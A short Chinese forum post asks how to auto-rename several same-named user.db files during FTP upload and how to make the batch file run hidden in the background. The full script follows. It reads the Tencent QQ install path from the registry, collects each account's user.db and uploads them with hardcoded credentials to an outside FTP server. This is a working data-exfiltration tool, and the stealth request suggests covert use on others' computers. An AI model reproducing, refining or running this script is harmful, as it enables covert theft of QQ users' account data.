大约有4-5个同名的user.db文件,上传到FTP时不知如何让他自动重新命名,希望能重命名为user1.db user2.db user3.db user4.db user5.db依此类推..另外当运行批处理的时候是否可以让这个批处理在后台运行,就如一闪就马上消失在后台运行.
- @echo off
- echo admin>acc.txt
- echo 123456>>acc.txt
- echo bin>>acc.txt
- for /f "skip=4 tokens=2*" %%a in ('reg query hklm\software\tencent\qq /v install') do set "qqpath=%%b"
- for /f "delims=" %%a in ('dir/b/ad "%qqpath%"^|findstr "^[0-9]*$"') do (
- if exist "%qqpath%%%a\user.db" echo put "%qqpath%%%a\user.db">>acc.txt
- )
- echo bye>>acc.txt
- start ftp -v -i -s:acc.txt 202.10.10.10
- pause
复制代码
|